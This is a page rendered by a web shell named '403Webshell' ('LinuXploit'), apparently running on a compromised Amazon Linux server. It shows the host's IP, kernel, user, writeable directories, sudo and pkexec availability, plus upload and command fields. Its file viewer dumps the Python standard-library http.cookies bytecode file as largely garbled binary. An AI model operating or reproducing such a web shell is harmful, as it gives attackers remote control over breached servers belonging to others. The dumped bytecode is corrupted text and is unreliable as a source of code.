403Webshell
Server IP : 104.21.21.239  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib64/python3.9/http/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/http/__pycache__/cookies.cpython-39.opt-1.pyc
a

�Uj�T�@sldZddlZddlZddlZgd�ZdjZdjZdjZGdd�de	�Z
ejejd	Z
e
d
Zdd�eed
��eeee��D�Ze�ed�ded�di�e�de�e
��jZe�d�Zdd�Zdd�Ze�d�jZdd�Zdd�Zgd�Z gd�Z!de e!fdd �Z"Gd!d"�d"e#�Z$d#Z%e%d$Z&e�d%e%d&e&d'ej'ej(B�Z)Gd(d)�d)e#�Z*Gd*d+�d+e*�Z+dS),a%

Here's a sample session to show how to use this module.
At the moment, this is the only documentation.

The Basics
----------

Importing is easy...

   >>> from http import cookies

Most of the time you start by creating a cookie.

   >>> C = cookies.SimpleCookie()

Once you've created your Cookie, you can add values just as if it were
a dictionary.

   >>> C = cookies.SimpleCookie()
   >>> C["fig"] = "newton"
   >>> C["sugar"] = "wafer"
   >>> C.output()
   'Set-Cookie: fig=newton\r\nSet-Cookie: sugar=wafer'

Notice that the printable representation of a Cookie is the
appropriate format for a Set-Cookie: header.  This is the
default behavior.  You can change the header and printed
attributes by using the .output() function

   >>> C = cookies.SimpleCookie()
   >>> C["rocky"] = "road"
   >>> C["rocky"]["path"] = "/cookie"
   >>> print(C.output(header="Cookie:"))
   Cookie: rocky=road; Path=/cookie
   >>> print(C.output(attrs=[], header="Cookie:"))
   Cookie: rocky=road

The load() method of a Cookie extracts cookies from a string.  In a
CGI script, you would use this method to extract the cookies from the
HTTP_COOKIE environment variable.

   >>> C = cookies.SimpleCookie()
   >>> C.load("chips=ahoy; vienna=finger")
   >>> C.output()
   'Set-Cookie: chips=ahoy\r\nSet-Cookie: vienna=finger'

The load() method is darn-tootin smart about identifying cookies
within a string.  Escaped quotation marks, nested semicolons, and other
such trickeries do not confuse it.

   >>> C = cookies.SimpleCookie()
   >>> C.load('keebler="E=everybody; L=\\"Loves\\"; fudge=;";')
   >>> print(C)
   Set-Cookie: keebler="E=everybody; L=\"Loves\"; fudge=;"

Each element of the Cookie also supports all of the RFC 2109
Cookie attributes.  Here's an example which sets the Path
attribute.

   >>> C = cookies.SimpleCookie()
   >>> C["oreo"] = "doublestuff"
   >>> C["oreo"]["path"] = "/"
   >>> print(C)
   Set-Cookie: oreo=doublestuff; Path=/

Each dictionary element has a 'value' attribute, which gives you
back the value associated with the key.

   >>> C = cookies.SimpleCookie()
   >>> C["twix"] = "none for you"
   >>> C["twix"].value
   'none for you'

The SimpleCookie expects that all values should be standard strings.
Just to be sure, SimpleCookie invokes the str() builtin to convert
the value to a string, when the values are set dictionary-style.

   >>> C = cookies.SimpleCookie()
   >>> C["number"] = 7
   >>> C["string"] = "seven"
   >>> C["number"].value
   '7'
   >>> C["string"].value
   'seven'
   >>> C.output()
   'Set-Cookie: number=7\r\nSet-Cookie: string=seven'

Finis.
�N)�CookieError�
BaseCookie�SimpleCookie�z; � c@seZdZdS)rN)�__name__�
__module__�__qualname__�r
r
�$/usr/lib64/python3.9/http/cookies.pyr�srz!#$%&'*+-.^_`|~:z
 ()/<=>?@[]{}cCsi|]}|d|�qS)z\%03or
)�.0�nr
r
r�
<dictcomp>�s�r��"z\"�\z\\z[%s]+z[\x00-\x1F\x7F]cGstdd�|D��S)zhDetects control characters within a value.
    Supports any type, as header values can be any type.
    css|]}t�t|��VqdS�N)�_control_character_re�search�str)r�vr
r
r�	<genexpr>��z)_has_control_character.<locals>.<genexpr>)�any)�valr
r
r�_has_control_character�srcCs*|dust|�r|Sd|�t�dSdS)z�Quote a string for use in a cookie header.

    If the string does not need to be double-quoted, then just return the
    string.  Otherwise, surround the string in doublequotes and quote
    (with a \) special characters.
    Nr)�
_is_legal_key�	translate�_Translator�rr
r
r�_quote�sr z\\(?:([0-3][0-7][0-7])|(.))cCs&|drtt|dd��S|dSdS)N���)�chr�int)�mr
r
r�_unquote_replace�sr'cCsJ|dust|�dkr|S|ddks0|ddkr4|S|dd�}tt|�S)Nr#rr���r!)�len�_unquote_subr'rr
r
r�_unquote�sr+)ZMonZTueZWedZThuZFriZSatZSun)
NZJanZFebZMarZAprZMayZJunZJulZAugZSepZOctZNovZDecc	CsRddlm}m}|�}|||�\	}}}}	}
}}}
}d|||||||	|
|fS)Nr)�gmtime�timez#%s, %02d %3s %4d %02d:%02d:%02d GMT)r-r,)�futureZweekdaynameZ	monthnamer,r-ZnowZyearZmonthZdayZhhZmm�ssZwd�y�zr
r
r�_getdate�s�r2c
@s�eZdZdZdddddddd	d
d�	Zdd
hZdd�Zedd��Zedd��Z	edd��Z
dd�Zd4dd�Zdd�Z
ejZdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)d*�Zd5d,d-�ZeZd.d/�Zd6d0d1�Zd7d2d3�Zeej�ZdS)8�MorselaCA class to hold ONE (key, value) pair.

    In a cookie, each such pair may have several attributes, so this class is
    used to keep the attributes associated with the appropriate key,value pair.
    This class also includes a coded_value attribute, which is used to hold
    the network representation of the value.
    �expires�Path�CommentZDomainzMax-AgeZSecureZHttpOnlyZVersionZSameSite)	r4�path�comment�domain�max-age�secure�httponly�versionZsamesiter;r<cCs0d|_|_|_|jD]}t�||d�qdS)Nr)�_key�_value�_coded_value�	_reserved�dict�__setitem__)�self�keyr
r
r�__init__s
zMorsel.__init__cCs|jSr)r>�rDr
r
rrE sz
Morsel.keycCs|jSr)r?rGr
r
r�value$szMorsel.valuecCs|jSr)r@rGr
r
r�coded_value(szMorsel.coded_valuecCsP|��}||jvr td|f��t||�r>td|�d|����t�|||�dS�N�Invalid attribute %r�.Control characters are not allowed in cookies r)�lowerrArrrBrC)rD�K�Vr
r
rrC,s

zMorsel.__setitem__NcCsH|��}||jvr td|f��t||�r:td||f��t�|||�S)NrKz3Control characters are not allowed in cookies %r %r)rMrArrrB�
setdefault)rDrErr
r
rrP4s

zMorsel.setdefaultcCs>t|t�stSt�||�o<|j|jko<|j|jko<|j|jkSr)�
isinstancer3�NotImplementedrB�__eq__r?r>r@�rDZmorselr
r
rrS<s

�
�
�z
Morsel.__eq__cCs$t�}t�||�|j�|j�|Sr)r3rB�update�__dict__rTr
r
r�copyFszMorsel.copycCspi}t|���D]N\}}|��}||jvr8td|f��t||�rVtd|�d|����|||<qt�||�dSrJ)rB�itemsrMrArrrU)rD�values�datarErr
r
rrULs

��
z
Morsel.updatecCs|�|�|Sr)rU)rDrYr
r
r�__ior__Xs
zMorsel.__ior__cCs|��|jvSr)rMrA)rDrNr
r
r�
isReservedKey\szMorsel.isReservedKeycCsf|��|jvrtd|f��t|�s2td|f��t|||�rPtd|||f��||_||_||_dS)Nz Attempt to set a reserved key %rzIllegal key %rz6Control characters are not allowed in cookies %r %r %r)rMrArrrr>r?r@)rDrErZ	coded_valr
r
r�set_s�z
Morsel.setcCs|j|j|jd�S)N)rErHrI)r>r?r@rGr
r
r�__getstate__ms�zMorsel.__getstate__cCsT|d}|d}|d}t|||�r>td|�d|�d|����||_||_||_dS)NrErHrIrLr)rrr>r?r@)rD�staterErHrIr
r
r�__setstate__ts���zMorsel.__setstate__�Set-Cookie:cCsd||�|�fS)Nz%s %s)�OutputString)rD�attrs�headerr
r
r�outputsz
Morsel.outputcCsd|jj|��fS)N�<%s: %s>)�	__class__rrbrGr
r
r�__repr__�szMorsel.__repr__cCsBddl}|�|�}t|�r"td��|�|�d���d�}d|fS)Nr�-Control characters are not allowed in cookieszutf-8�asciiz�
        <script type="text/javascript">
        <!-- begin hiding
        document.cookie = atob("%s");
        // end hiding -->
        </script>
        )�base64rbrrZ	b64encode�encode�decode)rDrcrkZ
output_stringZoutput_encodedr
r
r�	js_output�s
�zMorsel.js_outputcCs$g}|j}|d|j|jf�|dur,|j}t|���}|D]�\}}|dkrNq<||vrXq<|dkr�t|t�r�|d|j|t|�f�q<|dkr�t|t�r�|d|j||f�q<|dkr�t|t	�r�|d|j|t
|�f�q<||jv�r|�r|t	|j|��q<|d|j||f�q<t|�S)N�%s=%srr4r:z%s=%dr8)
�appendrErIrA�sortedrXrQr%r2rr �_flags�_semispacejoin)rDrc�resultrprXrErHr
r
rrb�s,zMorsel.OutputString)N)Nra)N)N) rrr	�__doc__rArrrF�propertyrErHrIrCrPrS�object�__ne__rWrUr[r\r]r^r`re�__str__rhrnrb�classmethod�types�GenericAlias�__class_getitem__r
r
r
rr3�sH�






!r3z,\w\d!#%&'~_`><@,:/\$\*\+\-\.\^\|\)\(\?\}\{\=z\[\]z�
    \s*                            # Optional whitespace at start of cookie
    (?P<key>                       # Start of group 'key'
    [a	]+?   # Any word of at least one letter
    )                              # End of group 'key'
    (                              # Optional group: there may not be a value.
    \s*=\s*                          # Equal Sign
    (?P<val>                         # Start of group 'val'
    "(?:[^\\"]|\\.)*"                  # Any doublequoted string
    |                                  # or
    \w{3},\s[\w\d\s-]{9,11}\s[\d:]{8}\sGMT  # Special case for "expires" attr
    |                                  # or
    [a-]*      # Any word or empty string
    )                                # End of group 'val'
    )?                             # End of optional value group
    \s*                            # Any number of spaces.
    (\s+|;|$)                      # Ending either at space, semicolon, or EOS.
    c@sneZdZdZdd�Zdd�Zddd�Zd	d
�Zdd�Zddd�Z	e	Z
dd�Zddd�Zdd�Z
efdd�ZdS)rz'A container class for a set of Morsels.cCs||fS)a
real_value, coded_value = value_decode(STRING)
        Called prior to setting a cookie's value from the network
        representation.  The VALUE is the value read from HTTP
        header.
        Override this function to modify the behavior of cookies.
        r
�rDrr
r
r�value_decode�szBaseCookie.value_decodecCst|�}||fS)z�real_value, coded_value = value_encode(VALUE)
        Called prior to setting a cookie's value from the dictionary
        representation.  The VALUE is the value being assigned.
        Override this function to modify the behavior of cookies.
        r�rDrZstrvalr
r
r�value_encode�szBaseCookie.value_encodeNcCs|r|�|�dSr)�load)rD�inputr
r
rrF�szBaseCookie.__init__cCs.|�|t��}|�|||�t�|||�dS)z+Private method for setting a cookie's valueN)�getr3r]rBrC)rDrEZ
real_valuerI�Mr
r
rZ__set�szBaseCookie.__setcCs:t|t�rt�|||�n|�|�\}}|�|||�dS)zDictionary style assignment.N)rQr3rBrCr��_BaseCookie__set)rDrErH�rval�cvalr
r
rrC�s
zBaseCookie.__setitem__ra�
c	CsNg}t|���}|D].\}}|�||�}t|�r8td��|�|�q|�|�S)z"Return a string suitable for HTTP.ri)rqrXrerrrp�join)	rDrcrd�seprtrXrErHZvalue_outputr
r
rreszBaseCookie.outputcCsJg}t|���}|D] \}}|�d|t|j�f�qd|jjt|�fS)Nrorf)rqrXrp�reprrHrgr�
_spacejoin)rD�lrXrErHr
r
rrhs
zBaseCookie.__repr__cCs6g}t|���}|D]\}}|�|�|��qt|�S)z(Return a string suitable for JavaScript.)rqrXrprn�	_nulljoin)rDrcrtrXrErHr
r
rrns
zBaseCookie.js_outputcCs4t|t�r|�|�n|��D]\}}|||<qdS)z�Load cookies from a string (presumably HTTP_COOKIE) or
        from a dictionary.  Loading cookies from a dictionary 'd'
        is equivalent to calling:
            map(Cookie.__setitem__, d.keys(), d.values())
        N)rQr�_BaseCookie__parse_stringrX)rDZrawdatarErHr
r
rr�"s


zBaseCookie.loadcCshd}t|�}g}d}d}d}d|kr2|k�rnn�|�||�}	|	sJ�q|	�d�|	�d�}
}|	�d�}|
ddkr�|s|q|�||
dd�|f�q|
��tjvr�|s�dS|dur�|
��tjvr�|�||
df�q�dSn|�||
t	|�f�q|du�r|�||
|�
|�f�d}qdSqd}|D]>\}
}
}|
|k�rB|||
<n|\}}|�|
||�||
}�q$dS)	NrFr!r#rEr�$T)r)�match�group�endrprMr3rArrr+rr�)rDrZpatt�ir
Zparsed_itemsZmorsel_seenZTYPE_ATTRIBUTEZ
TYPE_KEYVALUEr�rErHr��tpr�r�r
r
rZ__parse_string0sF



zBaseCookie.__parse_string)N)Nrar�)N)rrr	rurr�rFr�rCreryrhrnr��_CookiePatternr�r
r
r
rr�s		
	

rc@s eZdZdZdd�Zdd�ZdS)rz�
    SimpleCookie supports strings as cookie values.  When setting
    the value using the dictionary assignment notation, SimpleCookie
    calls the builtin str() to convert the value to a string.  Values
    received from HTTP are kept as strings.
    cCst|�|fSr)r+r~r
r
rrtszSimpleCookie.value_decodecCst|�}|t|�fSr)rr r�r
r
rr�wszSimpleCookie.value_encodeN)rrr	rurr�r
r
r
rrmsr),ru�re�stringr{�__all__r�r�rsr��	Exceptionr�
ascii_letters�digitsZ_LegalCharsZ_UnescapedCharsr]�range�map�ordrrU�compile�escape�	fullmatchrrrr �subr*r'r+Z_weekdaynameZ
_monthnamer2rBr3Z_LegalKeyCharsZ_LegalValueChars�ASCII�VERBOSEr�rrr
r
r
r�<module>'sZ]��

Q����
�

Youez - 2016 - github.com/yon3zu
LinuXploit